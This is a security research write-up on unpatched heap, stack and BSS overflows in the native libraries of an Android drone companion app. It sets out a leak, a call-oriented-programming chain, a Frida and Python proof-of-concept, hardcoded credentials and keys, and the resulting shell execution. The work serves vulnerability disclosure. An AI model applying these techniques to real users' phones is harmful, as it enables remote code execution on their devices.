From cheap IoT toy to your smartphone: Getting RCE by leveraging a companion app
In this article, we will go through some vulnerabilities we found in an Android application, allowing us to take control of a recent smartphone by faking the drone itself.
Looking to improve your skills? Discover our trainings sessions! Learn more.
As IoT adoption continues to grow, we explored the idea that instead of directly compromising IoT devices, an attacker could target the applications controlling them. This approach could potentially allow remote code execution on a user’s smartphone.
To investigate this, we selected a low-cost drone model, the Eachine E58, which can be operated through several third-party applications. For our tests, we used a Samsung Galaxy S22 running Android 14, and chose LW FPV as the target application.
Following our research, we attempted to contact the maintainers of the affected libraries but received no response. As a result, the identified vulnerabilities remain unpatched. Notably, during the period we awaited a reply, the targeted application was removed from the Play Store.
Applications
The selected application contains both Java code and natives libraries relying on JNI invocation.
At first, we only reverse-engineered the native libraries of our target application, but during the exploit development, we sometimes had to take a look at the Java code to obtain more information about the functions we were manipulating.
When we attempted to reverse-engineer the Java portion of the application, we found it was packed with Bangcle, which hindered analysis. To work around this, we searched the Play Store for other applications preferably older or less protected ones that used the same or similar libraries but were not packed. We found plenty of suitable alternatives.

Each of the applications seemed to be able to control all Eachine drones, or at least the Eachine E58. They were using the same libraries.
They employed the following packing mechanisms:
- Some of them appeared to be obfuscated with Bangcle packer
- Some applications were easy to unpack: intercepting the
unlink
function with Frida and looking fordex
files in the storage of the application - MF GPS, the most recent one, was not obfuscated.
We used mainly two applications for our analysis:
- Our target app,
com.klh.lwfpv
- The MF GPS application, to take a look at the Java implementation.
Application internals
To be able to use the application, the user must connect to an open Wi-Fi requiring no password, set up by the drone. According to the drone type, his gateway will be either 192.168.0.1
or 172.16.10.1
.
At starting time, the application starts multiple threads to try to reach one of these gateway addresses. Even if the app were to find a drone IP address, it continues to send packets to the other potential drone IP, exposing more attack surface to an attacker.
Vulnerabilities
LeweiLib23
While looking at network communications on Wireshark, we noticed some traffic involving the hardcoded IP address 192.168.0.1
:

As soon as the user clicks on the START
button, the application tries to connect to TCP ports 7060
, 8060
, and sends a lot of UDP datagrams on ports 50000
and 40000
.
We identified this traffic as originating from the library liblewei-3.2.2.so
, and decided to look at this attack surface.
Connections on TCP ports 7060
and 8060
are used to send and receive Lewei commands. These commands always start with magic bytes lewei_cmd
, and allows common interactions with the device. For example, the controller can ask the drone to take a photo, download or delete files, format the SD card, reboot the drone, etc.
While the exact difference between both connections remains unclear, it looks like the port 7060 is used for commands involving data transfers while the other port is used for control commands.
The interaction on port 40000/udp
is linked to the Live Stream which is started automatically in separated threads during initialisation. Video frames are received and added to a queue for later processing by the Java part.
AVC stream
: Heap buffer overflow
The avc_read_buffer_thread
function is used to receive H264
video streams, it opens a TCP socket on port 7060
.
Multiple buffer overflow vulnerabilities exist when receiving data. The code does not check the size of the received data and copies it into a buffer allocated with malloc(0xA00000uLL)
.
char* buffer = (char*) malloc(0xA00000uLL);
// [...]
net_recv(v9, buffer, 0x2E); // receive header
if strcmp(buffer.magic, "lewei_cmd") {
// [...]
if(buffer.type == 257)
net_recv(v9, buffer, * (int*) &buffer.size); // overflow here
}
// [...]
This pattern appears multiple times but due to the size of the buffer and the fact that it only contains data, this vulnerability is unlikely to be exploitable.
VGA stream
: Heap OOB write
VGA stream handler is listening on UDP port 40000
. It deals with almost the same types of packet and also contains vulnerabilities. One can perform an OOB write by exploiting the following code:
char* buffer = (char*) malloc(0xA00000uLL);
// [...]
size_read = vga_recv_udp(vga_udp_t, &buffer, 2000);
// [...]
if (buffer.magic == 0x6363 && buffer.type == UDP_RECV) {
// [...]
size = *(short *)&buffer.content[49];
index = *(unsigned short *)&buffer.content[45] - 1;
memcpy(&buffer[1400 * index + 1036], &buffer.content[51], size); // OOB write
}
SendGetRecPlan
: Heap Buffer Overflow
When a device is connected to the application and the user clicks on start, the following call is made:
int LW93SendGetRecPlan = LW93SendGetRecPlan();
this.retRecordPlan = LW93SendGetRecPlan;
if (LW93SendGetRecPlan == 1) {
Log.d("", "remote sdcard not recording.");
}
Under the hood, it calls a JNI function in liblewei-3.2.2.so
, which sends a command to port 8060
of the drone.
bool Java_com_lewei_lib_LeweiLib_LW93SendGetRecPlan() {
int64_t buffer[3];
int size = 0;
if ( (send_command(6, 0LL, buffer, &size) & 0x80000000) != 0 )
return 0LL;
// [...]
return SLODWORD(buffer[0]) > 0;
}
int send_command(int cmd_id, uint64_t a2, char* buffer, int* size) {
char* buffer = malloc(0x200uLL);
// [...]
switch (cmd_id) {
// [...]
case 6:
// [...] fill the buffer
if ( send(socket_8060, buffer, 0x2EuLL, 0) <= 0 )
goto EXIT_ERROR;
if ( net_recv(socket_8060, buffer, 46) <= 0x2D )
goto EXIT_ERROR;
if ( strcmp(&buffer->magic, "lewei_cmd") )
goto EXIT_ERROR;
// [...]
net_recv(socket_8060, buffer, (int) buffer->size); // Heap overflow here
// [...]
goto EXIT;
break;
// [...]
}
}
The overflow occurs in the allocation bins with sizes between 0x1c0
and 0x250
(Scudo 64-bits).
ParseGLInfoData
: BSS buffer overflow
Another interaction is visible on UDP port 50000
: when data is received through this port, it is parsed with the native function LWUartProtolFlyInfoParseData
in liblewei_uartprotol.so
.
This library handles the parsing of a FlyInfo
object, which contains information about the current fly state of the drone, its coordinates, its speed, etc.:
public class FlyInfo {
// [...]
public float height;
public float speed;
public float velocity;
public Coordinate coordinate = new Coordinate();
// [...]
}
This FlyInfo
object is then used back in the Java implementation. It is updated regularly by a thread which calls LWUartProtolGetControlData
every 50 milliseconds.
The liblewei_uartprotol.so
library handles a lot of different types of drones with different formats, and also implements a state-machine based on the protocol used by the drone, which can vary during communication.
During parsing of the received FlyInfo
object in ParseGLInfoData
, received data is copied directly into a BSS address, using a length taken from the buffer without boundary check:
char ParseGLInfoData(char *buffer, unsigned short received_len,
controlPara_t *controlPara, flyInfo_t *flyInfo) {
// [...]
if ( buffer[0] != 'X' )
return buffer;
data_length = (unsigned char)buffer[2];
if ( data_length + 4 > received_len )
return buffer;
// [...]
buffer = memcpy(&GLFlyInfoData, buffer + 3, data_length);
// [...]
}
As data_length
is an unsigned char
, it is possible to copy up to 0xff
bytes in the BSS, overwriting any global variable located after GLFlyInfoData
.
This function is reachable through the ParseFlyInfoData
function, which redirects the call depending on the current protocol. The protocol is defined by controlPara->uartProtol
, which starts at value 0 (Protocol_None)
by default.
When the protocol is undefined, ParseFlyInfoData
tries to parse the data into several protocols until one checksum is valid and controlPara->uartProtol
is set. This behaviour makes ParseGLInfoData
reachable easily:
switch ( controlPara->uartProtol ) {
case 0:
ParseBTInfoData(buffer, received_len, controlPara, flyInfo);
if ( !controlPara->uartProtol )
ParseLWInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseGLInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseHYNInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseWSInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseHHFInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseFSInfoData(buffer, received_len, controlPara, flyInfo); break;
break;
// [...]
}
In the BSS located after GLFlyInfoData
, there is a pointer called LWDroneSoftwareData
which is used in GetDroneVersionPageData
to read information that will be sent back to the device:
long double GetDroneVersionPageData(char *out_buffer, int *out_length) {
// [...]
*(int16_t *)&buffer[6] = LWdroneSoftwarePage;
p_droneSoftwareData = LWDroneSoftwareData + (LWdroneSoftwarePage << 6);
*(int64_t *)&buffer[10] = *(int64_t *)p_droneSoftwareData;
*(int64_t *)&buffer[26] = *((int64_t *)p_droneSoftwareData + 1);
*(int64_t *)&buffer[42] = *((int64_t *)p_droneSoftwareData + 2);
*(int64_t *)&buffer[58] = *((int64_t *)p_droneSoftwareData + 3);
// [...] copy buffer in out_buffer
}
This could have been an interesting lead for an arbitrary read.
Unfortunately, GetDroneVersionPageData
is reachable only with protocols Protocol_LWGPS_HK
or Protocol_LWGPS_HF
, and when flyInfo->flags & 0x100 != 0
. All paths found to change the flag also change controlPara->uartProtol
to a state where both protocols stated previously become unreachable.
This vulnerability is not exploitable as-is, but depending on the BSS layout at compile-time, it could become exploitable in future releases.
Devices controlled by liblewei63.so
and libFHDev_Net.so
When launching the application a lot of TCP requests are sent to 172.16.10.1
port 8888
. These requests originate from liblewei63.so
, which is mainly a wrapper for libFHDEVNet.so
.
Under the hood, libFHDEVNet.so is capable of controlling a wide range or versions of devices, and starts by trying multiple parameters to find the right device type. To do so, it uses its own protocol with the following packets:

Packet types are defined by the combination of model_id
, cmd_id
and seq_id
.
At startup, a LOGIN
packet is sent with model_id = 0
and hardcoded username and password: ('leweiadmin', 'leweiadmin')
. The packet is encrypted with the hard coded key '0123456789012456'
, and if it does not work the key '123leweimark1234'
is used instead.
To perform requests, the function NC
is used:
int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password, char cmd_id, char seq_id,
char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15);
This function packs the buffer containing request’s data in inout_buffer
and encrypts the data with the chosen key, saved in a global g_aes_key
variable.
The response will be a device type, which will lead to a constructor of the corresponding device_t
object:

The device_t
object contains a function table, used to redirect generic calls to a device-specific implementation.
Device information is then saved in a user_info
global that will be used during the whole lifetime of the application.
Multiple threads are also created during initialisation. They use different sockets on the same server port:
- one is called
notify
thread and receives information without request - another one is used as a heartbit
libFHDEV_Net
Stack overflow in GetUserList
One of the threads started on the Java side calls the native function LeweiLib63.LW63GetClientSize
:
// [...]
while (FlyCtrl.this.isNeedSendData) {
int mClientCount = LeweiLib63.LW63GetClientSize();
if (mClientCount == 1) {
break;
} else {
Thread.sleep(2000L);
}
}
// [...]
This function ends up calling get_user_list
on the created device. After receiving the user list, a lewei_userlist
is filled with received data, with a loop iterating over item_count
computed from received length:
int64_t Java_com_lewei_lib63_LeweiLib63_LW63GetClientSize() {
int user_count;
uint8_t user_list[0x880];
user_count = FHDEV_NET_GetUserList(user_info, user_list);
if ( user_count )
return user_list[65];
return 0;
}
According to the device type, a get_user_list
function is called by FHDEV_NET_GetUserList
. As an example, for Device61
the function is as follows:
int64_t get_user_list_61(device_t *dev, lewei_userlist_t *list) {
char buffer[0x1000];
int length;
// [...]
NC(1u, dev->socket, 1, 3, dev->user, dev->password, 1, 5, 0, 0, buffer, &length, 0LL, g_dwRecvTimeOut, 1);
// [...]
int item_count = length / 0x45uLL;
if ( length % 0x45uLL ) {
// [...] error
}
else {
if ( item_count < 1 )
return 1LL;
i = 0LL;
char *curr_item = &list->items[0].field_41;
char *buf_ptr = buffer;
do {
// [...] fill curr_item based on buf_ptr
++i;
buf_ptr += 0x45;
curr_item += 0x44;
} while ( i < item_count );
return 1LL;
}
}
Here list
st is a 0x880
bytes wide stack variable, so it is possible to overflow its boundaries by sending more than 31*0x45
bytes.
Getting a leak
In order to communicate with the device, the function NC
is used for both sending and receiving data:
int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password,
char cmd_id, char seq_id, char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15) {
char buffer[0x1052];
// [...]
memset(buffer, 0, sizeof(buffer));
// [...]
// Sending data
send_len = *inout_len;
// [...]
if ( send_len >= 1 )
memcpy(&buffer[82], inout_buffer, send_len);
TCPSocketSend(socket, buffer, g_ucHeadLen + send_len, is_encrypted)
// [...]
// Receiving data
received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
msg_length = *(unsigned short *)&buffer[79];
if ( inout_buffer && msg_length >= 2uLL )
memcpy(inout_buffer, &buffer[82], msg_length - 1);
// [...]
*inout_len = msg_length - 1;
if ( msg_length <= 1u )
*inout_len = 0;
// [...]
}
When data is received, inout_len
is set to a length taken from the buffer. We found a stack buffer overflow during the second memcpy
, but we cannot control overflown data as g_iNetMsgLen
sets a maximum receive length to 0x1052
. However, depending on how this function is used we can use it to leak information on the stack after the buffer
variable.
Especially, patterns with two chained calls that use the same in-out variables are vulnerable. The first one will set inout_len
to an arbitrary value, and the data will be sent on the second call:
char buffer[0x1000];
int length;
// GetTimeZone
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 11, 0, 0,
buffer,
&length,
0LL, g_dwRecvTimeOut, 1);
// [...]
// GetCapacity
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 1, 0, 0,
buffer,
&length, // length is reused without being reset!
0LL, g_dwRecvTimeOut, 1);
This pattern is present in several device functions, for our PoC we used GetCapacity
because it is automatically called right after the device creation.
Exploitation
Leak and neutralisation
The first step of our PoC is to retrieve a library address using the vulnerability in GetCapacity
. To do so we respond to the GetTimeZone
command with a message such as msg_length > 0x1000
(see Getting a leak).
Unfortunately, doing so will also trigger a stack buffer overflow which will overwrite the stack from the outer function with uncontrolled data:
// NC function
// [...]
received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
msg_length = *(unsigned short *)&buffer[79];
if ( inout_buffer && msg_length >= 2uLL ) {
// Here, the stack after buffer will be copied after inout_buffer
memcpy(inout_buffer, &buffer[82], msg_length - 1);
}
// [...]
This overflow will trigger a crash when the outer function ends. In order to neutralise it, we can use the second call to TCPSocketRecv
to send a response byte per byte and stay stuck in the receiving loop. As there is a 5-seconds timeout when receiving data with AESSocketRecv
, we must regularly send at least one byte.
The overall code flow will be as follows:

The drawback of this technique is that the thread handling these commands will be stuck, preventing usage of other vulnerabilities based on this protocol, such as the overflow in
GetUserList
.
If we set a value which is too high for msg_length
, the application will crash before the memcpy
finishes. As the stack contains several buffers of 0x1000
bytes this leak will be limited, preventing us from directly obtain an address from the libc or any other system-level library.
The leak allows us to retrieve some information, including:
- the stack cookie
- the base address of
libFHDEV_Net.so
- the base address of
liblewei63.so
- a stack address near our controlled buffer
- some heap addresses
In Android, all applications are forked from Zygote, if we leak a system library, every application instances will share the same addresses. In our case, since the leaked libraries are not system libraries, we can not let the leak crash and wait for the user to relaunch his application, the addresses will change and library will be loaded at a random address.
Another leak will be required to obtain a libc-address.
Call Oriented Programming
The above leak gave us a good starting point to exploit the applications but since we can’t return from it, we need to find exploitation primitives in others libraries.
In the vulnerabilities we found in lewei-3.2.2.so
, the only promising one was the heap overflow in a 0x200
bytes allocation (see SendGetRecPlan
Heap Buffer Overflow).
Since the Samsung Galaxy S22 uses Scudo and we overwrite the allocation cookie, we have to hope that none of the allocations before are freed before we reach this crash, but it seems that allocations are not often freed in this slab.
When overflowing enough allocations, a crash appears:
signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
x0 4141414141414141 x1 00000078654ead28 x2 00000077259019b0 x3 0000000000000000
x4 0000007725901430 x5 000000000032258a x6 0000000000000001 x7 00001118480c2e3d
x8 0000007885466f10 x9 4141414141414141 x10 0000000000000003 x11 0000000000000000
x12 0000000000000000 x13 00000078e55836c0 x14 0000000000000033 x15 00000078e55836c0
x16 0000000000000001 x17 0000007b4e2583b0 x18 000000772131e000 x19 0000007a45491a10
x20 0000007a45491a10 x21 0000007725902000 x22 0000007865459fd0 x23 0000000000000000
x24 00000077259012e0 x25 0000000000000000 x26 0000000000000000 x27 0000007725902000
x28 00000078e547e680 x29 0000007725901140
lr 0000007b61516188 sp 0000007725901140 pc 0041414141414141 pst 0000000060001800
17 total frames
backtrace:
#00 pc 0000004141414141 <unknown>
#01 pc 0000000000516184 /system/lib64/libhwui.so (android::uirenderer::LinearAllocator::~LinearAllocator()+36) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#02 pc 0000000000501d74 /system/lib64/libhwui.so (android::uirenderer::skiapipeline::SkiaDisplayList::reuseDisplayList(android::uirenderer::RenderNode*)+168) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#03 pc 0000000000526a2c /system/lib64/libhwui.so (android::uirenderer::RenderNode::deleteDisplayList(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo*)+208) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#04 pc 0000000000527958 /system/lib64/libhwui.so (android::uirenderer::RenderNode::prepareTreeImpl(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo&, bool)+1844) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
// [...]
We crash in the following code which is very promising:
LinearAllocator::~LinearAllocator(void) {
while (mDtorList) {
auto node = mDtorList;
mDtorList = node->next;
node->dtor(node->addr); // CRASH HERE
}
// [...]
}
This primitive gives us the possibility to call arbitrary functions with the first arguments controlled. Chaining it with the leak above, it allows us to do the following:

Our goal here was to demonstrate that an exploit can be doable on a recent device, we did not work on stability or heap shaping to ensure that the exploit is stable. So we will not approach here how we can heap shape and/or neutralise other allocations to ensure reliability of this heap overflow.
We used the following Frida script to reproduce our setup and not be constrained by the shaping:
function trigger(destructor_node_content){
let libhwui = Process.getModuleByName("libhwui.so").base
// LinearAllocator::~LinearAllocator() function pointer
let linearAllocator_dtor_ptr = libhwui.add(0x516164)
// propagate to keep craches in Logcat : logcat -s DEBUG
let linearAllocator_dtor_func = new NativeFunction(linearAllocator_dtor_ptr, "void", ["pointer"], {exceptions: "propagate"})
// Writing first node content
let destructor_array = Memory.alloc(0x18)
destructor_array.writeByteArray(destructore_node_content)
// Creating a fake LinearAllocator object
let fake_thiz = Memory.alloc(48)
fake_thiz.add(40).writePointer(destructor_array)
linearAllocator_dtor_func(fake_thiz)
}
rpc.exports = {
trigger : trigger
}
This Frida script is then used in addition with a Python script that simulates the heap overflow trigger function:
device = frida.get_usb_device()
session = device.attach(int(pid.decode()))
script = session.create_script(script_content)
script.load()
api = script.exports_sync
data = struct.pack("<Q", g_libbase + 0x738E8) # CALL
data += struct.pack("<Q", g_stack_buffer) # ARGS
data += struct.pack("<Q", g_stack_buffer + 0x250*6) # NEXT
api.trigger(data)
Transforming COP-Chain into arbitrary read
Since our call primitive allows us to call arbitrary address with a controlled argument, we thought that the libc system()
function was a good target to demonstrate the final exploit.
To be able to leak the libc base address, either we can have a primitive that allow us to reuse an existing connection by using its file descriptor, either we find a function taking one argument, creating a connection and performing a send
call. We found the second one:
int sub_738E8(device_t *user_info)
{
char inout_buffer[4096];
memset(inout_buffer, 0, sizeof(inout_buffer));
if ( (unsigned int)Dev_GetHandleCount(user_info, 2LL) )
{
LogPlatformOut(1LL, "shoting...\n");
SetLastErrorPlatform();
return 0LL;
}
int socket = TCPSocketCreate(
&user_info->target_ip,
user_info->target_port,
&user_info->bind_ip,
user_info->bind_port
);
if ( (socket & 0x80000000) != 0 )
return 0LL;
int inout_len = 1;
inout_buffer[0] = 1;
if ( !NC( 0xBu,
socket,
1,
3,
&user_info->username,
&user_info->password,
16,
1u,
0,
0,
inout_buffer,
&inout_len,
0LL,
g_dwRecvTimeOut,
1) )
{
SocketClose(socket);
return 0LL;
}
// [...]
}
To use this primitive, we need to forge arbitrary device_t
objects in our stack containing arbitrary IP and port (even though we fake the drone and can listen for packet going to uncontrolled IP Port).
We now have the following COP-chain:
We did not find a direct way to make the request leak data, but we found that we could change the variable g_aes_key
to make it point on an arbitrary address:
int FHDEV_NET_SetCryptKey(char *key_addr)
{
int128 l_aes_key; // q0
int result; // x0
if ( key_addr )
l_aes_key = *key_addr;
else
l_aes_key = g_aes_key_default;
result = 1LL;
*(int128 *) g_aes_key = l_aes_key;
return result;
}
By making a call to this function we can change the AES key used to encrypt our request. While giving us a good primitive, this is only useful if we are able to have a libc
pointer next to known addresses. Fortunately, the .got
section of the currently leaked library is full of it:
In the image above, both PES_OutputPes
and Dev_GetHandleCount
are functions in libFHDEV_Net.so
which we know the base address.
By carefully setting our g_aes_key
pointer to the pthread_create_ptr + 0x8
, performing a NC
call which encrypts its request, decrementing this g_aes_key
and repeating, we can brute force one by one the byte that changed in g_aes_key
, leading to leak pthread_create_ptr
and therefore a libc.so
address.

Keep in mind that we need to keep track of the currently used key to be able to modify the COP-chain later on.
Executing system
command
At this point we have:
- a COP chain sending messages in a loop and changing the AES key
- a neutralised thread stuck in a loop which receives one byte each second
the libc
base address
In order to make the final system
call, we need to change the COP chain. To do so, we used another behaviour of NC
:
// [...]
int tries = -1;
// [...]
do {
v31 = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
if ( inout_buffer[3] == cmd_id && inout_buffer[4] == seq_id + 1 )
break;
++tries;
} while ( tries < 9 );
if ( tries + 1 > 9 )
return 0;
// [...]
When receiving data, NC
verifies that the packet cmd_id
and seq_id
corresponds to expected values, drops the packet if its not the case, and listens for another one.
This loop allows us to rewrite the content of the buffer up to 10 times. Combined with the byte-per-byte neutralisation technique, it gives us a good control over the COP chain.
The following diagram summarizes the different steps of the COP chain:

Putting all the pieces together, and with some luck on how the heap layout is set up, we can finally execute arbitrary shell commands on the device:
$ adb logcat -s EXPLOIT
--------- beginning of main
03-05 12:36:15.803 15692 15692 I EXPLOIT : uid=10322(u0_a322) gid=10322(u0_a322) groups=10322(u0_a322),3003(inet),9997(everybody),20322(u0_a322_cache),50322(all_a322) context=u:r:untrusted_app_32:s0:c66,c257,c512,c768
Timeline
03/2025 | Discovery and exploitation of identified vulnerabilities |
---|---|
24/03/2025 | Initial contact with the publisher of affected libraries |
22/04/2025 | Follow-up email sent to the publisher |
08/07/2025 | Publication of the article |